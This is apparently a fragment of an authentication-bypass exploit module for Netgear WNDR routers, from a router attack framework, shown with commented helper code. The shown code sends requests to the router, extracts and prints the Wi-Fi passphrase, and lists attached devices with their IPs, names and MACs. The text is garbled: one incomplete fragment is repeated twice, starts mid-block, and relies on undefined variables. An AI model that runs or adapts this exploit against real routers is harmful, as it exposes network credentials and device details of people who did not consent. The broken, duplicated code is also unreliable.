# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)


import traceback
import core.Exploit
import core.io
import requests
import re
import interface.utils
from interface.messages import print_error, print_warning, print_info
                wlan_password = striptag.sub('', regex.group(1))
                print("Passphrase: %s" % wlan_password)
            except IndexError:
                print_error("opps unable to locate this regular expression")

            # Attached devices
            response = requests.post(url, headers=headers4, data=payload, timeout=60)
            if response.status_code != 200:
                raise requests.ConnectionError
            print_info("Writing response to DeviceInfoGetAttachDevice.xml")
            core.io.writetextfile(response.text, "DeviceInfoGetAttachDevice.xml")
            print_info("Parsing response")
            regex = re.search("<NewAttachDevice>(.*)", response.text)
            try:
                devices = striptag.sub('', regex.group(1))
                devices = devices.split('@')[1:]  # First element is number of records
                for device in devices:
                    device = device.split(";")
                    print("ID: %s" % device[0])
                    print("IP: %s" % device[1])
                    print("Name: %s" % device[2])
                    print("MAC: %s" % interface.utils.lookup_mac(device[3]))
                    print("Connection type: %s" % device[4])
            except IndexError:
                print_error("opps unable to locate this regular expression")

        except requests.ConnectionError as e:
            print_error("lost connection ")
            traceback.print_tb(e)
        except requests.Timeout:

# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)


# Path: modules/exploits/netgear/wndr_auth_bypass.py
import traceback
import core.Exploit
import core.io
import requests
import re
import interface.utils
from interface.messages import print_error, print_warning, print_info

                wlan_password = striptag.sub('', regex.group(1))
                print("Passphrase: %s" % wlan_password)
            except IndexError:
                print_error("opps unable to locate this regular expression")

            # Attached devices
            response = requests.post(url, headers=headers4, data=payload, timeout=60)
            if response.status_code != 200:
                raise requests.ConnectionError
            print_info("Writing response to DeviceInfoGetAttachDevice.xml")
            core.io.writetextfile(response.text, "DeviceInfoGetAttachDevice.xml")
            print_info("Parsing response")
            regex = re.search("<NewAttachDevice>(.*)", response.text)
            try:
                devices = striptag.sub('', regex.group(1))
                devices = devices.split('@')[1:]  # First element is number of records
                for device in devices:
                    device = device.split(";")
                    print("ID: %s" % device[0])
                    print("IP: %s" % device[1])
                    print("Name: %s" % device[2])
                    print("MAC: %s" % interface.utils.lookup_mac(device[3]))
                    print("Connection type: %s" % device[4])
            except IndexError:
                print_error("opps unable to locate this regular expression")

        except requests.ConnectionError as e:
            print_error("lost connection ")
            traceback.print_tb(e)
        except requests.Timeout:

            print_error("timeout")